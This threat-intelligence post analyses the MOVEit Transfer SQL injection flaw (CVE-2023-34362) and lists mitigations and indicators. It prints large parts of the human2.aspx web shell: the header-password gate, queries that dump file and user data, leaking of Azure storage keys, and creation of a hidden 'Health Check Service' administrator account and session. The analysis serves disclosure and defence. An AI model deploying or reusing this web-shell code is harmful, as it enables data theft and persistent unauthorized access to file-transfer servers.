Intro

A critical zero-day vulnerability (CVE-2023-34362) was found in Progress’ MOVEit Transfer, a Managed File Transfer (MFT) software that allows transferring large files between organizations. Exploitation of an SQL injection vulnerability allows an unauthenticated attacker the ability to upload web shells, access Transfer databases, execute SQL queries, and steal data.

Timeline

  • Progress released a public notice on May 31 to notify its users of the vulnerability and steps to mitigate the threat while they worked out a patch release.
  • On June 1, Blackpoint Cyber’s Adversary Pursuit Group (APG) was made aware of the MOVEit vulnerability, alerted its partners, and began analyzing the vulnerability.
  • On June 2, the MITRE Corporation published CVE-2023-34362 for an SQL injection vulnerability in the MOVEit Transfer web application.

Exploitation

Malicious POST requests made to guestaccess.aspx and moveitisapi.dll, which are legitimate parts of MOVEit Access, appear to allow for the exploitation of CVE-2023-34362. This exploit allows for a web shell masquerading as an ASPX file to be added to the “C:\MOVEitTransfer\wwwroot\” directory. Multiple variations of this file have been seen, including human.aspx, human2.aspx, and _human2.aspx which are responsible for connecting to an SQL database and performing queries to retrieve files, compress them with Gzip, and return them to the client interacting with the web shell.

Web Shell Analysis

The Page_load() function is responsible for the handling of every request to the file. It begins by checking the X-siLock-Comment header in the request for a hard-coded 36-byte password in the form of a GUID. If the password is incorrect, a 404 status code is returned:

 

protected void Page_load(object sender, EventArgs e) {
        var pass = Request.Headers[“X-siLock-Comment”]
        // Example GUID password
        if (!String.Equals(pass, “b41d7ab1-c3f8-4ac4-8e16-9ea60e2f031d”)) {
             Response.StatusCode = 404;
             return;

 

If the password is correct, the string “comment” is appended to the the X-siLock-Comment response header and a new header, X-siLock-Step1, is parsed from the request:

 

Response.AppendHeader(“X-siLock-Comment”, “comment”);
var instid = Request.Headers[“X-siLock-Step1”];

 

It then attempts to connect to a MySQL database using the configured local DataBaseSettings. Using the MOVit configured Azure system settings, it builds a query to an AzureBlobStorage account based on a parsed instid from the X-siLock-Step1 request header. If the instid is -1, the following query is performed:

 

if (int.Parse(instid) == -1) {
      string azureAccout = SystemSettings.AzureBlobStorageAccount;
      string azureBlobKey = SystemSettings.AzureBlobKey;
      string azureBlobContainer = SystemSettings.AzureBlobContainer;
      Response.AppendHeader(“AzureBlobStorageAccount”, azureAccout);
      Response.AppendHeader(“AzureBlobKey”, azureBlobKey);
      Response.AppendHeader(“AzureBlobContainer”, azureBlobContainer);

var query = “select f.id, f.instid, f.folderid, filesize, f.Name as Name, u.LoginName as uploader, fr.FolderPath , fr.name as fname from folders fr, files f left join users u on f.UploadUsername = u.Username where f.FolderID = fr.ID”;

 

This will return information in the database such as filenames, file sizes, and files owners. It then builds another two queries, concatenates all the retrieved data, and sends the response back to the requestor, which is compressed with Gzip:

 


String query1 = “select ID, f.instID, name, u.LoginName as owner, FolderPath from folders f left join users u on f.owner = u.Username”;

query1 = “select id, name, shortname from institutions”;

using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
                                 using(var writer = new StreamWriter(gzipStream, Encoding.UTF8)) {
                                             writer.Write(reStr);

 

If the instid is -2, it submits a query to the database to delete the user account, with the RealName set to “HealthCheckService”. This is a user account created in the next steps:

 


else if (int.Parse(instid) == -2) {
        var query = String.Format(“Delete FROM users WHERE RealName=’Health Check Service’”);

 

If the instid is neither -1 or -2, the request header named X-siLock-Step3 is parsed for the fileid value and the header X-siLock-Step2 is parsed for the folderid value:

 

var fileid = Request.Headers[“X-siLock-Step3”];
var folderid = Request.Headers[“X-siLock-Step2”];

 

If these values are not empty, it parses the values to locate and retrieve the requested file, compress them with Gzip, and return it to the client:

 


DataFilePath dataFilePath = new DataFilePath(int.Parse(instid), int.Parse(folderid), fileid);
SILGlobals siGlobs = new SILGlobals();
siGlobs.FileSystemFactory.Create();
EncryptedStream st = Encryption.OpenFileForDecryption(dataFilePath, siGlobs.FileSystemFactory.Create());
Response.ContentType = “application/octet-stream”;
Response.AppendHeader(“Content-Disposition”, String.Format(“attachment; filename={0}”, fileid));
using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
            st.CopyTo(gzipStream);
}

 

If the values are not empty, it will try to locate an existing user account with the instid in the request and the Permission level of 30. If this user doesn’t exist, it creates a new user with a randomly generated username, a RealName of “HealthCheckService”, an instid of the requested instid and permission level of 30:

 

if (fileid == null && folderid == null) {
      SessionIDManager Manager = new SessionIDManager();
      string NewID = Manager.CreateSessionID(Context);
      bool redirected = false;
      bool IsAdded = false;
      Manager.SaveSessionID(Context, NewID, out redirected, out IsAdded);
      string username = “”;
      var query = String.Format(“SELECT Username FROM users WHERE InstID={0} AND Permission=30 AND Status=’active’ and Deleted=0”, int.Parse(instid));
      var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
      var query1 = “”;
      if (!set.EOF) {
                username = (String) set[“Username”].Value;
      } else {
                username = RandomString(16);
                query1 += String.Format(“INSERT INTO users (Username, LoginName, InstID, Permission, RealName, CreateStamp, CreateUsername, HomeFolder, LastLoginStamp, PasswordChangeStamp) values (‘{0}’,'{1}’,{2},{3},'{4}’, CURRENT_TIMESTAMP,’Automation’,(select id from folders where instID=0 and FolderPath=’/’), CURRENT_TIMESTAMP, CURRENT_TIMESTAMP);”, username, “Health Check Service”, int.Parse(instid), 30, “Health Check Service”, “Automation”, “Services”)
      }
      query1 += String.Format(“insert into activesessions (SessionID, Username, LastTouch, Timeout, IPAddress) VALUES (‘{0}’,'{1}’,CURRENT_TIMESTAMP, 9999, ‘127.0.0.1’)”, NewID, username);
      new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);

Mitigation Advisory

Please follow the steps outlined in the MOVEit Transfer Critical Vulnerability Report from Progress to mitigate this threat.

Update or upgrade to one of the patched Versions of MOVEit Transfer:

  • MOVEit Transfer 2023.0.1
  • MOVEit Transfer 2022.1.5
  • MOVEit Transfer 2022.0.4
  • MOVEit Transfer 2021.1.4
  • MOVEit Transfer 2021.0.6

If unable to patch, modify firewall rules to deny HTTP and HTTPS traffic to the MOVEit Transfer server on ports 80 and 443. This mitigation plan will disable some features outlined in the report from Progress.

Watch for new files created on the MOVEit Transfer server:

  • New files created in the C:MOVEitTransfer\wwwroot\ directory
    • human.aspx, human2.aspx, _human2.aspx, etc.
  • New files created in the C:\Windows\TEMP\[random]\ directory with an extension of .cmdline

About the Adversary Pursuit Group

The Adversary Pursuit Group (APG) is a proactive unit within Blackpoint, working alongside our SOC team, to serve two primary functions: threat intelligence (TI) and research & development (R&D). They provide our security analysts, product team, partners, and the greater cybersecurity community with intel and insight to keep us all ahead of malicious actors.

Follow along with their research on Reddit and Twitter.

Want something new to listen to?

Check out our podcast, The Unfair Fight, where you can hear industry insights from Blackpoint Cyber leadership and our special guests firsthand.